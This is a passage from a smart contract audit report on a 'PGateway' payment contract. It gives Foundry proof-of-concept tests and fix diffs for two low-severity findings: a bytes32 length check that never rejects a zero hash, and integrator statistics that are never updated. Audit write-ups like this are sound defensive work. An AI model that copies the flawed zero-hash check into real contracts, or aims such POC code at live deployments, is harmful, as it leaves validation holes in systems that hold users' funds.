contract POC_H01_InvalidBytes32LengthCheck is Test, TestConstants {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockERC20 public testToken;

    address public owner = address(0x1);
    address public treasury = address(0x2);
    address public aggregator = address(0x3);
    address public integrator = address(0x4);
    address public user = address(0x5);
    address public provider = address(0x6);

    function setUp() public {
        vm.deal(owner, 100 ether);
        vm.deal(user, 100 ether);
        vm.deal(provider, 100 ether);

        accessManager = new MockAccessManager(owner);
        testToken = new MockERC20("Test Token", "TEST");

        PGatewayStructs.InitiateGatewaySettingsParams memory
settingsParams = PGatewayStructs.InitiateGatewaySettingsParams({
            initialOwner: owner,
            treasury: treasury,
            aggregator: aggregator,
            integrator: integrator,
            protocolFee: PROTOCOL_FEE,
            integratorFee: INTEGRATOR_FEE,
            orderExpiryWindow: ORDER_EXPIRY,
            proposalTimeout: PROPOSAL_TIMEOUT,
            intentExpiry: INTENT_EXPIRY,
            alphaLimit: ALPHA_LIMIT,
            betaLimit: BETA_LIMIT,
            deltaLimit: DELTA_LIMIT,
            omegaLimit: OMEGA_LIMIT,
            titanLimit: TITAN_LIMIT
        });

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            settingsParams
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        vm.startPrank(owner);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);
        settings.setSupportedToken(address(testToken), true);
        vm.stopPrank();

        testToken.mint(user, TEST_AMOUNT * 10);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE, "TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent(TEST_CURRENCY, PROVIDER_CAPACITY, 50, 200,
1 hours);
    }

    function test_POC_LengthCheckNeverReverts() public {
        uint256 amount = TEST_AMOUNT;

        vm.startPrank(user);
        testToken.approve(address(gateway), amount * 3);

        gateway.createOrder(address(testToken), amount, user, integrator,
INTEGRATOR_FEE, bytes32(0));
        gateway.createOrder(address(testToken), amount, user, integrator,
INTEGRATOR_FEE, bytes32(uint256(1)));
        gateway.createOrder(address(testToken), amount, user, integrator,
INTEGRATOR_FEE, bytes32(type(uint256).max));
        vm.stopPrank();

        assertEq(gateway.getUserNonce(user), 3);
        assertEq(testToken.balanceOf(address(gateway)), amount * 3);
    }

    function test_POC_ZeroHashBypassesValidation() public {
        uint256 amount = TEST_AMOUNT;
        bytes32 zeroHash = bytes32(0);

        vm.startPrank(user);
        testToken.approve(address(gateway), amount);

        bytes32 orderId = gateway.createOrder(
            address(testToken),
            amount,
            user,
            integrator,
            INTEGRATOR_FEE,
            zeroHash
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        assertEq(order.user, user);
        assertEq(order.amount, amount);
        assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.PENDING));

        bytes32 storedHash = keccak256(abi.encodePacked(zeroHash));
        assertTrue(gateway.usedMessageHashes(storedHash));
    }

    function test_POC_FullSettlementWithZeroHash() public {
        uint256 amount = TEST_AMOUNT;

        vm.startPrank(user);
        testToken.approve(address(gateway), amount);
        bytes32 orderId = gateway.createOrder(
            address(testToken),
            amount,
            user,
            integrator,
            INTEGRATOR_FEE,
            bytes32(0)
        );
        vm.stopPrank();

        uint256 treasuryBefore = testToken.balanceOf(treasury);
        uint256 integratorBefore = testToken.balanceOf(integrator);
        uint256 providerBefore = testToken.balanceOf(provider);

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.FULFILLED));

        uint256 protocolFee = (amount * PROTOCOL_FEE) /
settings.MAX_BPS();
        uint256 integratorFeeAmt = (amount * INTEGRATOR_FEE) /
settings.MAX_BPS();
        uint256 providerAmount = amount - protocolFee - integratorFeeAmt;

        assertEq(testToken.balanceOf(treasury), treasuryBefore +
protocolFee);
        assertEq(testToken.balanceOf(integrator), integratorBefore +
integratorFeeAmt);
        assertEq(testToken.balanceOf(provider), providerBefore +
providerAmount);
    }

    function test_POC_ZeroHashMarkedAsUsed() public {
        uint256 amount = TEST_AMOUNT;
        bytes32 zeroHash = bytes32(0);

        bytes32 expectedStoredHash =
keccak256(abi.encodePacked(zeroHash));
        assertFalse(gateway.usedMessageHashes(expectedStoredHash));

        vm.startPrank(user);
        testToken.approve(address(gateway), amount);
        gateway.createOrder(
            address(testToken),
            amount,
            user,
            integrator,
            INTEGRATOR_FEE,
            zeroHash
        );
        vm.stopPrank();

        assertTrue(gateway.usedMessageHashes(expectedStoredHash));

        address attacker = address(0x999);
        testToken.mint(attacker, amount);
        vm.startPrank(attacker);
        testToken.approve(address(gateway), amount);

vm.expectRevert(abi.encodeWithSignature("MessageHashAlreadyUsed()"));
        gateway.createOrder(
            address(testToken),
            amount,
            attacker,
            integrator,
            INTEGRATOR_FEE,
            zeroHash
        );
        vm.stopPrank();
    }
}
```

All tests pass, demonstrating that:

1. The `.length` check never reverts for any `bytes32` value
2. `bytes32(0)` bypasses validation and is accepted

3. Full settlement flow completes with zero hash
4. The zero hash is marked as used, treating it as a valid order identifier

Recommendation

Replace the invalid `.length` check with a proper zero-value comparison:

```diff
- if (bytes32(_messageHash).length == 0) revert InvalidMessageHash();
+ if (_messageHash == bytes32(0)) revert InvalidMessageHash();
```

Info-3: Integrator Statistics Never Updated (Broken Tracking System)

Summary

The `IntegratorInfo` struct contains `totalOrders` and `totalVolume` fields that are initialized to zero when integrators register, but these fields are never updated anywhere in the contract when orders are created or settled. This completely breaks the integrator tracking, analytics, and rewards system.

Vulnerability Detail

In `PGateway.sol`, the `IntegratorInfo` struct defines tracking fields for integrator activity:

```
struct IntegratorInfo {
    bool isRegistered;
    uint64 feeBps;
    string name;
    uint256 registeredAt;
    uint256 totalOrders;   // Never incremented
    uint256 totalVolume;   // Never incremented
}
```

When an integrator registers via `registerAsIntegrator()` (lines 526-541), these fields are initialized to zero:

```
function registerAsIntegrator(uint64 _feeBps, string calldata _name)
external {
    // ... validation ...
    integratorRegistry[msg.sender] = PGatewayStructs.IntegratorInfo({
        isRegistered: true,
        feeBps: _feeBps,
        name: _name,
        registeredAt: block.timestamp,
        totalOrders: 0,    // Initialized to 0
        totalVolume: 0     // Initialized to 0
    });
}
```

However, in `createOrder()` (lines 580-626), when orders are created through an integrator, the stats are never updated:

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external returns (bytes32 orderId) {
    // ... validation and order creation ...

    orders[orderId] = PGatewayStructs.Order({
        // ...
        integrator: _integrator,
        integratorFee: _integratorFee,
        // ...
    });

    // MISSING: integratorRegistry[_integrator].totalOrders++;
    // MISSING: integratorRegistry[_integrator].totalVolume += _amount;

    emit OrderCreated(...);
    return orderId;
}
```

Similarly, `executeSettlement()` (lines 762-795) also fails to update integrator statistics, even though it correctly updates provider statistics via `_updateProviderSuccess()`.

Impact

1. Broken Analytics: Cannot track which integrators drive the most volume or orders
2. Broken Rewards System: Cannot reward integrators based on performance metrics
3. Broken Reputation System: Cannot rank or evaluate integrators for partnership decisions
4. Governance Failure: Cannot make data-driven decisions about integrator fee structures
5. Missing Business Intelligence: Cannot understand customer acquisition channels
6. Incorrect Dashboards: Off-chain systems reading on-chain data will show all integrators at 0 orders/volume regardless of actual activity
7. Partnership Trust Damage: Integrators cannot prove their ROI or contribution to the protocol

Code Snippet

https://github.com/user/paynode-contract/blob/main/src/gateway/PGateway.sol#L580-L626

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
      if (_amount == 0) revert InvalidAmount();
    if (_refundAddress == address(0)) revert InvalidAddress();
    if (_integrator == address(0)) revert InvalidAddress();
    // ...

    orders[orderId] = PGatewayStructs.Order({
        orderId: orderId,
        user: msg.sender,
        token: _token,
        amount: _amount,
        // ...
        integrator: _integrator,
        integratorFee: _integratorFee,
        // ...
    });

    // @audit MISSING: integratorRegistry[_integrator].totalOrders++;
    // @audit MISSING: integratorRegistry[_integrator].totalVolume +=
_amount;

    emit OrderCreated(orderId, msg.sender, _token, _amount, tier,
orders[orderId].expiresAt, _messageHash);
    return orderId;
}
```

Note the inconsistency: `executeSettlement()` correctly calls `_updateProviderSuccess()` to track provider metrics, but no equivalent function exists for integrator statistics.

Proof of Concept

Save this POC in `test/POC_H05_IntegratorStatsNeverUpdated.t.sol`

Run the POC:

```
forge test --match-contract POC_H05_IntegratorStatsNeverUpdated -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
    constructor() ERC20("Mock USDC", "USDC") {
        _mint(msg.sender, 100_000_000e6);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function ADMIN_ROLE() external pure returns (bytes32) { return
DEFAULT_ADMIN_ROLE; }
    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
```

```
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_H05_IntegratorStatsNeverUpdated is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockToken public usdc;

    address public admin;
    address public aggregator;
    address public provider;
    address public treasury;
    address public integrator;
    address public user1;
    address public user2;
    address public user3;

    uint64 constant INTEGRATOR_FEE_BPS = 100;
    uint256 constant ORDER_AMOUNT_SMALL = 1_000e6;
    uint256 constant ORDER_AMOUNT_MEDIUM = 10_000e6;
    uint256 constant ORDER_AMOUNT_LARGE = 100_000e6;

    function setUp() public {
        admin = makeAddr("admin");
        aggregator = makeAddr("aggregator");
        provider = makeAddr("provider");
        treasury = makeAddr("treasury");
        integrator = makeAddr("integrator");
        user1 = makeAddr("user1");
        user2 = makeAddr("user2");
        user3 = makeAddr("user3");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: 100,
                alphaLimit: 3000e6,
                betaLimit: 5000e6,
                deltaLimit: 7000e6,
                integrator: admin,
                integratorFee: 50,
                omegaLimit: 10000e6,
                titanLimit: 50000e6,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        usdc = new MockToken();
        settings.setSupportedToken(address(usdc), true);
        vm.stopPrank();

        usdc.mint(user1, 50_000_000e6);
        usdc.mint(user2, 50_000_000e6);
        usdc.mint(user3, 50_000_000e6);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS, "Top dApp
Partner");

        vm.prank(provider);
        gateway.registerIntent("USD", 500_000_000e6, 50, 500, 1 hours);
    }

    function _createAndSettleOrder(address user, uint256 amount, address
_integrator, bytes32 salt) internal {
        vm.startPrank(user);
        usdc.approve(address(gateway), amount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            amount,
            user,
            _integrator,
            INTEGRATOR_FEE_BPS,
            salt
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);
```

```
        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);
    }

    function test_POC_H05_BasicVulnerabilityProof() public {
        PGatewayStructs.IntegratorInfo memory infoBefore =
gateway.getIntegratorInfo(integrator);
        assertEq(infoBefore.totalOrders, 0);
        assertEq(infoBefore.totalVolume, 0);

        _createAndSettleOrder(user1, ORDER_AMOUNT_LARGE, integrator,
keccak256("order_1"));

        PGatewayStructs.IntegratorInfo memory infoAfter =
gateway.getIntegratorInfo(integrator);

        assertEq(infoAfter.totalOrders, 0);
        assertEq(infoAfter.totalVolume, 0);
    }

    function test_POC_H05_MassiveVolumeZeroStats() public {
        uint256 numOrders = 100;
        uint256 totalVolume = 0;

        for (uint256 i = 0; i < numOrders; i++) {
            uint256 amount;
            address user;

            if (i % 3 == 0) {
                amount = ORDER_AMOUNT_SMALL;
                user = user1;
            } else if (i % 3 == 1) {
                amount = ORDER_AMOUNT_MEDIUM;
                user = user2;
            } else {
                amount = ORDER_AMOUNT_LARGE;
                user = user3;
            }

            totalVolume += amount;
            _createAndSettleOrder(user, amount, integrator,
keccak256(abi.encodePacked("mass_", i)));
        }

        PGatewayStructs.IntegratorInfo memory info =
gateway.getIntegratorInfo(integrator);

        assertEq(info.totalOrders, 0);
        assertEq(info.totalVolume, 0);
        assertTrue(totalVolume > 3_000_000e6);
    }

    function test_POC_H05_BrokenIntegratorRanking() public {
        address smallPartner = makeAddr("smallPartner");
        address bigPartner = makeAddr("bigPartner");

        vm.prank(smallPartner);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS, "Small Startup");

        vm.prank(bigPartner);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS, "Major
Exchange");

        for (uint256 i = 0; i < 5; i++) {
            _createAndSettleOrder(user1, ORDER_AMOUNT_SMALL, smallPartner,
keccak256(abi.encodePacked("small_", i)));
        }

        for (uint256 i = 0; i < 100; i++) {
            _createAndSettleOrder(user2, ORDER_AMOUNT_LARGE, bigPartner,
keccak256(abi.encodePacked("big_", i)));
        }

        PGatewayStructs.IntegratorInfo memory smallInfo =
gateway.getIntegratorInfo(smallPartner);
        PGatewayStructs.IntegratorInfo memory bigInfo =
gateway.getIntegratorInfo(bigPartner);

        assertEq(smallInfo.totalOrders, bigInfo.totalOrders);
        assertEq(smallInfo.totalVolume, bigInfo.totalVolume);
        assertEq(smallInfo.totalOrders, 0);
    }

    function test_POC_H05_InconsistentTrackingSystem() public {
        uint256 numOrders = 25;

        for (uint256 i = 0; i < numOrders; i++) {
            _createAndSettleOrder(user1, ORDER_AMOUNT_LARGE, integrator,
keccak256(abi.encodePacked("track_", i)));
        }

        PGatewayStructs.ProviderReputation memory providerRep =
gateway.getProviderReputation(provider);
        PGatewayStructs.IntegratorInfo memory integratorInfo =
gateway.getIntegratorInfo(integrator);

        assertEq(providerRep.totalOrders, numOrders);
        assertEq(providerRep.successfulOrders, numOrders);
        assertEq(integratorInfo.totalOrders, 0);
        assertEq(integratorInfo.totalVolume, 0);
    }
}
```

Recommendation

Add integrator statistics update in `createOrder()` or `executeSettlement()`:

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
    // ... existing validation and order creation ...

    orders[orderId] = PGatewayStructs.Order({
        // ... existing fields ...
    });

+   // Update integrator statistics
+   if (integratorRegistry[_integrator].isRegistered) {
+       integratorRegistry[_integrator].totalOrders++;
+       integratorRegistry[_integrator].totalVolume += _amount;
+   }

    emit OrderCreated(...);
    return orderId;
}
```

Alternatively, track only successful settlements in `executeSettlement()`:

```
function executeSettlement(bytes32 _proposalId) external onlyAggregator {
    // ... existing settlement logic ...

    _updateProviderSuccess(proposal.provider, block.timestamp -
proposal.proposedAt);

+   // Update integrator statistics for successful settlements
+   _updateIntegratorSuccess(order.integrator, order.amount);

    emit SettlementExecuted(...);
}

+ function _updateIntegratorSuccess(address _integrator, uint256 _amount)
internal {
+     if (integratorRegistry[_integrator].isRegistered) {
+         integratorRegistry[_integrator].totalOrders++;
+         integratorRegistry[_integrator].totalVolume += _amount;
+       }
+ }
```